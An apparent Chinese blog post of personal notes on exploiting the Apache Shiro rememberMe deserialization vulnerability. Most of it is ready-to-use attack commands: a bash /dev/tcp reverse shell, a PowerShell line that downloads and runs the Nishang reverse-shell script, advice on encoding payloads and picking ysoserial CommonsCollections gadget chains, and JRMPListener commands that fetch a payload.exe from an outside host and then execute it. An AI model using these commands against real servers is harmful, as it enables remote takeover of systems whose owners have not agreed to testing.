shiro

测试时, 首先需要对网站基本信息有一个收集, 要知道它是什么系统, linux与windows反弹shell的命令不同

linux(需要编码处理): bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
windwos(不需要编码处理): powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 127.0.0.1 -port 8888
响应包中出现<rememberMe=deleteMe>可以用来大概判断是否使用了Shiro.

关于反弹shell命令, 如果不编码会命令执行失败. 本人在网上阅读大佬们写的相关文章后, 理解了一点, 简单说就是反弹shell的命令中包含一些特殊的符号, 在进行反序列化的时候会导致命令无法正常解析, 反正编码就完事了.

测试时, 最好先使用ping命令用来检测漏洞是否存在, 因为复杂的命令可能因为各种原因执行失败, 影响判断.

关于利用模块的选择, 最开始在docker上复现时, 我使用的是CommonsCollections2, 都能成功, 但到了实际环境中, 反弹shell一直执行不成功, 我又是不停的找资料看, 问朋友, 但是因为并不明白原理, 还是搞不懂, 反正最后的结论是CommonsCollections1, CommonsCollections3, CommonsCollections5可以, 不行就都试一遍, 万一成功了呢~

 

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget x.x.x.x/payload.exe -O payload.exe'

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 './payload.exe'

posted @   H4ck3rX  阅读(61)  评论(0编辑  收藏  举报
(评论功能已被禁用)
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示